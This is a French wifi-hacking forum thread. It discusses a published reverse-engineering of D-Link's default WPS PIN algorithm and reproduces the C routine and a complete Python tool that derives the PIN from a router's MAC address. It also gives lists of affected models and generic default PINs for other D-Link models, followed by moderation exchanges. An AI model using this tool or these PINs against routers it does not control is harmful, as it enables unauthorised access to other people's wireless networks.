Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 04-11-2014 19:34:17

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Algorithme PIN par défaut de nombreux modèles D-Link

1415126342.png




   Contre vents et marrées les fabricants s'arqueboutent et s'échinent  à maintenir le WPS sur leurs routeurs malgré la découverte de la faille WPS en décembre 2011 ( et oui, "Ça ne nous rajeunit pas! -  comme dirait l'autre )
   Comme contre-mesure; de nombreux industriels annoncèrent la généralisation du fameux  "AP rate limit" ( blocage du WPS après x PIN non valides -  cf. TP-Link "réagit" contre la faille WPS ).
  D-Link fait partit de ces fabricants qui continuent à balancer allègrement dans la nature des routeurs avec WPS mode PIN configuré et activé; routeurs "protégés" par ce fameux système de blocage. roll
 
  Mais :

    *1 - Un système de blocage ça ne sert strictement  à rien si il est possible de déduire Le PIN par défaut.

    *2 - Un PIN par défaut généré en fonction du bssid est toujours susceptible d'être calculé par un attaquant car par définition le bssid est "broadcasté"; et donc connu
   
  Craig heffner est lui aussi connu , comme notre bssid, pour avoir crée WPS reaver.
  Mais il est aussi l'auteur de nombreux "full disclosures" sur routeurs D-Link ( publications de craig heffner dans packet storm )
  On peut dire que c'est un véritable spécialiste en hacking des routeurs D-Link big_smile

  Intéressons nous donc à sa dernière découverte sur sa marque préférée  : l'algorithme de génération du PIN par défaut d'une belle  flopée de modèle D-Link. cool

  Reversing D-Link’s WPS Pin Algorithm
 
  En résumant sommairement :
  L'algorithme a été trouvé en analysant  sbin/ncc dans le dernier firmware du DIR-810L 80211ac où se trouve la variable  sub_4D56F8 qui est invoquée par la fonction "getWPSPinCode"
   
   sub_4D56F8.png
 
  La variable n'est pas définit par l’utilisateur  et elle n'est pas générée par une requête vers NVRAM, c'est tout simplement l'adresse WAN ( bssid + 1 ) qui sera divisé en "OUI" ( les 6 premiers caractères qui permettent d'identifier le constructeur ) et NIC ( les 6 derniers caractères de la mac WAN )
  Et c'est le NIC qui sera utilisé pour former le PIN (, comme d'habitude, aurait on envie de dire... tongue )
  Craig a alors simplifié ce que son assembleur lui a révélé pour en arriver à l'algorithme suivant

unsigned int generate_default_pin(char *buf)
{
    char *mac;
    char mac_address[32] = { 0 };
    unsigned int oui, nic, pin;
 
    /* Get a pointer to the WAN MAC address */
    mac = lockAndGetInfo_log()->wan_mac_address;
 
    /*
     * Create a local, NULL-terminated copy of the WAN MAC (simplified from
     * the original code's sprintf/memmove loop).
     */
    sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],
                                                     mac[1],
                                                     mac[2],
                                                     mac[3],
                                                     mac[4],
                                                     mac[5],
                                                     mac[6],
                                                     mac[7],
                                                     mac[8],
                                                     mac[9],
                                                     mac[10],
                                                     mac[11]);
 
    /*
     * Convert the OUI and NIC portions of the MAC address to integer values.
     * OUI is unused, just need the NIC.
     */
    sscanf(mac_address, "%06X%06X", &oui, &nic);
 
    /* Do some XOR munging of the NIC. */
    pin = (nic ^ 0x55AA55);
    pin = pin ^ (((pin & 0x0F) << 4) +
                 ((pin & 0x0F) << 8) +
                 ((pin & 0x0F) << 12) +
                 ((pin & 0x0F) << 16) +
                 ((pin & 0x0F) << 20));
  
    /*
     * The largest possible remainder for any value divided by 10,000,000
     * is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0.
     */
     pin = pin % 10000000;
  
    /* The pin needs to be at least 7 digits long */
    if(pin < 1000000)
    {
        /*
         * The largest possible remainder for any value divided by 9 is
         * 8; hence this adds at most 9,000,000 to the pin value, and at
         * least 1,000,000. This guarantees that the pin will be 7 digits
         * long, and also means that it won't start with a 0.
         */
        pin += ((pin % 9) * 1000000) + 1000000;
    }
  
    /*
     * The final 8 digit pin is the 7 digit value just computed, plus a
     * checksum digit. Note that in the disassembly, the wps_pin_checksum
     * function is inlined (it's just the standard WPS checksum implementation).
     */
    pin = ((pin * 10) + wps_pin_checksum(pin));
 
    sprintf(buf, "%08d", pin);
    return pin;
}

 
Les détails du code m’échappent u peu , c'est du C, mais les commentaires sont assez exlicites:
  - On choppe l'adresse WAN, de là on choppe le NIC (la deuxième moitié ) et on le passe à décimal ( si j'ai bien compris "convert the oui and nick to integer values" ) et ensuite on saupoudre avec un peu d'opérateur XOR.
 
 
   Ce n'est pas le premier algorithme qui est révélé et qui se base sur une autre adresse que le bssid (mac ethernet ou mac wan )
  Ce n'est évidemment pas un problème pour un attaquant extérieur vu que l'on parle d'une légère variation sur un seul caractère.
 
   Quant à l'utilisation du XOR pour brouiller les pistes c'est vraiment très, très léger. hmm
   D’ailleurs, à la question posée sur la web de craig, "Pourquoi les fabricants génèrent leur PIN en fonction de la mac?"; l'auteur répond :

   

Craig heffner a écrit :

Ha, good question. Likely convenience, laziness, or a bit of both.

big_smile

  Vous pouvez télécharger un outil open source écrit en python disponible depuis les dépôts git-hub : pingen.py

  Le code n'est vraiment pas très long alors je le mets ici pour aller plus vite si vous voulez jetter un coup d’œil ou l'utiliser... wink

#!/usr/bin/env python
#
# Calculates the default WPS pin from the BSSID/MAC of many D-Link routers/APs.
#
# Craig Heffner
# Tactical Network Solutions
class WPSException(Exception):
pass
class WPS(object):
def checksum(self, pin):
'''
Standard WPS checksum algorithm.
@pin - A 7 digit pin to calculate the checksum for.
Returns the checksum value.
'''
accum = 0
while pin:
accum += (3 * (pin % 10))
pin = int(pin / 10)
accum += (pin % 10)
pin = int(pin / 10)
return ((10 - accum % 10) % 10)
class DLink(object):
def __init__(self):
self.wps = WPS()
def __mac2nic(self, mac):
'''
Parses out the NIC portion of an ASCII MAC address.
@mac_address - An ASCII string MAC address or NIC,
with or without delimiters.
Returns the NIC portion of the MAC address as an int.
'''
mac = mac.replace(':', '').replace('-', '')
if len(mac) == 12:
try:
nic = int(mac[6:], 16)
except ValueError as e:
raise WPSException("Invalid NIC: [%s]" % mac[6:])
elif len(mac) == 6:
try:
nic = int(mac, 16)
except ValueError as e:
raise WPSException("Invalid NIC: [%s]" % mac)
else:
raise WPSException("Invalid MAC address: [%s]" % mac)
return nic
def generate(self, mac):
'''
Calculates the default WPS pin from the NIC portion of the MAC address.
@mac - The MAC address string.
Returns the calculated default WPS pin, including checksum.
'''
nic = self.__mac2nic(mac)
# Do some XOR operations on the NIC
pin = nic ^ 0x55AA55
pin = pin ^ (((pin & 0x0F) << 4) +
((pin & 0x0F) << 8) +
((pin & 0x0F) << 12) +
((pin & 0x0F) << 16) +
((pin & 0x0F) << 20))
# The largest possible remainder for any value divided by 10,000,000
# is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0.
pin = pin % int(10e6)
# If the pin is less than 1,000,000 (i.e., less than 7 digits)
if pin < int(10e5):
# The largest possible remainder for any value divided by 9 is
# 8; hence this adds at most 9,000,000 to the pin value, and at
# least 1,000,000. This guarantees that the pin will be 7 digits
# long, and also means that it won't start with a 0.
pin += ((pin % 9) * int(10e5)) + int(10e5);
# The final 8 digit pin is the 7 digit value just computed, plus a
# checksum digit.
return (pin * 10) + self.wps.checksum(pin)
if __name__ == '__main__':
import sys
try:
mac = sys.argv[1]
except IndexError:
print ("Usage: %s <mac>" % sys.argv[0])
sys.exit(1)
try:
print ("Default pin: %d" % DLink().generate(mac))
except WPSException as e:
print (str(e))
sys.exit(1)


  L'algorithme sera intégré à reaver pro2 qui sortira le 7 novembre : reaver systems


Voici la liste (incomplète) des modèles testés

Confirmed Affected:

    DIR-810L
    DIR-826L
    DIR-632
    DHP-1320
    DIR-835
    DIR-615 revs: B2, C1, E1, E3
    DIR-657
    DIR-827
    DIR-857
    DIR-451
    DIR-655 revs: A3, A4, B1
    DIR-825 revs: A1, B1
    DIR-651
    DIR-855
    DIR-628
    DGL-4500
    DIR-601 revs: A1, B1
    DIR-836L
    DIR-808L
    DIR-636L
    DAP-1350
    DAP-1555

Confirmed Unaffected:

    DIR-815
    DIR-505L
    DIR-300
    DIR-850L
    DIR-412
    DIR-600
    DIR-685
    DIR-817LW
    DIR-818LW
    DIR-803
    DIR-845L
    DIR-816L
    DIR-860L
    DIR-645
    DIR-685
    DAP-1522

 
   L'amplitude la liste de modèles affectés laisse pantois
   Finement joué de la part de Craig, on ne peut pas vraiment dire la même chose à propos du staff de D-Link... tongue

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 05-11-2014 18:45:18

M1ck3y
Administrateur
Lieu : Lost in the darkness
Inscription : 14-02-2008
Messages : 6 363

Re : Algorithme PIN par défaut de nombreux modèles D-Link

Bientot il faudra développer un tool pour s'y retrouver parmi toutes ces failles! big_smile

Et une série de plus! yeahanim

Hors Ligne

#3 06-11-2014 12:37:17

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Algorithme PIN par défaut de nombreux modèles D-Link

big_smile

Pour avoir tout a porté de main je mets ici les trois autres modèles de routeurs D-Link que nous connaissons et dont nous pouvons prédire le PIN WPS par defaut ( cf. WPSPIN )



   1 . Deux modèles avec PIN générique connu ( commun à tout les modèles )


D-Link DSL-2730U   
PIN générique :  20172527
ssid par défaut :    Dlink_XXXX
bssid connu :         B8:A3:86   

D-Link DSL-2750U   
PIN générique :     21464065
ssid par défaut :    Dlink_XXXX
bssid connu :         C8:D3:A3

cf WPSPIN > Générateur PIN WPS par défaut routeurs Huawei, Belkin ...
 
  2 . Un modèle dont le PIN par défaut utilise l'algorithme "zaocheshung" ( cf. computePIN et WPSPIN )


D-Link DIR-620
PIN                  :  fin bssid convertit à décimal + checksum WPS
ssid par défaut :    DIR-620
bssid connu      :    90:94:E4 

Hors Ligne

#4 21-11-2014 01:32:32

sideali
Nouveau membre
Inscription : 21-11-2014
Messages : 6

Re : Algorithme PIN par défaut de nombreux modèles D-Link

salut
j'ai un modem D-link DSL 2730U
j'ai utiliser Qtwpspin generator sur wifislax 4.3
l'adresse mac du modem est 78:54:2E......
il me donne le code pin 75670061
alors que quand je rentre ds les parametres du mon wifi le code commence par 201......

pk j'ai tjr un mauvais code pin

Hors Ligne

#5 21-11-2014 17:09:48

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Algorithme PIN par défaut de nombreux modèles D-Link

j'ai utiliser Qtwpspin generator sur wifislax 4.3

Et que veux tu que l'on te dise ???
Va sur le site de wifislax et explique leur ton problème avec leur tool, nous ne pouvons strictement rien faire pour toi à ce niveau. hmm

En plus ce n'est pas le bon endroit pour poster cette question wink


l'adresse mac du modem est 78:54:2E......
alors que quand je rentre ds les parametres du mon wifi le code commence par 201......

Ça fait donc un autre bssid connu pour ce modèle

D-Link DSL-2730U   
PIN générique :  20172527
ssid par défaut :    Dlink_XXXX

B8:A3:86    +   78:54:2E

si tu pouvais le confirmer  à l'aide d'une capture d'écran , ce serait sympa.

Hors Ligne

#6 21-11-2014 18:17:10

sideali
Nouveau membre
Inscription : 21-11-2014
Messages : 6

Re : Algorithme PIN par défaut de nombreux modèles D-Link

si tu peux passe moi le lien pr telecharger wpspin que tu as utiliser ....comsa je peux peut etre vs confirmer.

Hors Ligne

#7 21-11-2014 19:16:02

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Algorithme PIN par défaut de nombreux modèles D-Link

comsa je peux peut etre vs confirmer.

Peux tu m'expliquer comment tu ne connais pas le PIN de ton routeur? big_smile
Désolé, mais ça sent le ban---- et une pollution de toipic bien inutile...

Hors Ligne

#8 22-11-2014 21:32:28

sideali
Nouveau membre
Inscription : 21-11-2014
Messages : 6

Re : Algorithme PIN par défaut de nombreux modèles D-Link

sideali a écrit :
sideali a écrit :

c pas ce ke je vien de vs dire . je coné le pin de mon routeur et j'ai eu le mot de passe avec la commande reaver.
mais j'ai voulu tester les perfomances de wpspin..... ce dernier ne me donne pas le code pin correcte .

comme je vs ai dis mon pin est 20172527

a

Hors Ligne

#9 22-11-2014 23:34:26

Furyo
Membre Irremplaçable
Inscription : 25-11-2010
Messages : 1 393
Site Web

Re : Algorithme PIN par défaut de nombreux modèles D-Link

sideali a écrit :

c pas ce ke je vien de vs dire . je coné le pin de mon routeur et j'ai eu le mot de passe avec la commande reaver.
mais j'ai voulu tester les perfomances de wpspin..... ce dernier ne me donne pas le code pin correcte .

Je comprends pas..

Tu as eu ton mot de passe grâce à Reaver?
Mais tu dois l'avoir deja ton mot de passe puisque c'est ton routeur? Non?

Après PIN bon ou pas, tu t'en fou, tu desactives ton WPS et tu mets un mot de passe different et consequent..

Que tu fasses des tests c'est une chose, mais si ton routeur n'est pas vulnerable, tant mieux.. non?

Après que les outils que tu utilises ne sont pas capable de retrouver ton PIN, il faut contacter le createur du script, mais dans ton cas, tu nous parle de wifislax, on s'en tappe ici!!

Enfin et pour finir, plutôt que de poster trois messages en ne repondant qu'à toi même, tu devrais editer le premier et ajouter les informations au fur et à mesure car cela est contraire aux règles que tu n'as pas lues apparemment... lol

Dernière modification par Furyo (22-11-2014 23:35:59)


Je prendrai le temps de répondre aux gens qui auront pris le temps de se présenter..
Les membres suspectés d'intentions douteuses ne trouveront que mon silence en réponse.
Morpheus à Néo : On n'est pas le meilleur quand on le croit, mais quand on le sait..
387003.jpg

Hors Ligne

#10 24-11-2014 08:52:28

sideali
Nouveau membre
Inscription : 21-11-2014
Messages : 6

Re : Algorithme PIN par défaut de nombreux modèles D-Link

je fais  que des test sur mon routeur et j 'ai utiliser le script ke j'ai vu ici.
et oui j'ai pas lu les règles....lol

Hors Ligne

#11 24-11-2014 09:46:01

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Algorithme PIN par défaut de nombreux modèles D-Link

STOP sideali
  C'est un forum ici, pas un chat yahoo. wink
  J'ai fusionné les messages, les explications tu les trouveras dans nos règles comme te le dis furyo quelques lignes plus haut.
  De plus comme, je te l'ais dit avant, Il y a un topic sur WPSPIN, si tu as des choses à dire sur WPSPIN ça se passe dans le topic WPSPIN.
Si c'est sur wpspin generatorqQt4 de wifislax tu peux ouvrir un thème dans notre forum mais ça ne va pas servir à grand chose vu que le créateur n'est pas, à ma connaissance, membre de crack-wifi.com.
  C'est facile à comprendre et tu es en train de polluer ce topic. ( triple post + offtopic )
  Si tu n'es pas d'accord pour respecter nos Règlesce n'était pas la peine de t'inscrire.

c pas ce ke je vien de vs dire .

Si tu ne peux pas te rappeler de ce que tu dis, c'est facile, regarde un peu, je te rafraîchie la mémoire  wink

si tu peux passe moi le lien pr telecharger wpspin que tu as utiliser ....comsa je peux peut etre vs confirmer.

  Le fait de me proposer un deal "je te passe des données et tu me files un lien vers ton programme" c'est stupide ( il y a un sujet épinglé avec des liens de téléchargements directs ) et c'est surtout détestable.
  Ici c'est un lien de partage , pas un marché, on échange sans rien demander en retour, c'est un forum d'entraide.

  donc si tu veux continuer parmi nous ; change d'attitude :
  - Respect du forum, de son mode de fonctionnement et de sa structure ( pas de double-triple post et traiter ses questions dans les thèmes qui leurs correspondent )
  - Respect de l'état d'esprit de nore communauté.
Si tu veux particper, participe, mais en respectant nos règles,  sans rien demander en échange tout comme personne ne t'as rien demandé ici en échange de ses publications ou de son aide.


edit


et oui j'ai pas lu les règles....lol

big_smile

T'es un rebelle c'est ça?  lol

Bon,  je te mets au coin pendant 48 heures histoire de te laisser méditer sur le respect, le fonctionnement au sein d'une communauté, le sens de la vie et tout ça...
profitte en pour lire les règles si tu comptes repasser par ici
On est plus à l'école ici petit chenapan wink
Que ce soient 72 heures, comme ça tu as le temps de bien réfléchir ( hope is the only thing we have ) et ça te laissera le temps de rédiger un sujet de présentation. wink

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
0 329 26-10-2016 19:06:01 par Christophe93
4 252 20-10-2016 10:57:27 par Bonami2
3 439 31-08-2016 20:12:36 par M1ck3y
16 1282 07-08-2016 14:47:04 par kcdtv
Épinglée :
185 185883 10-07-2016 19:35:20 par Seska

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.059 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]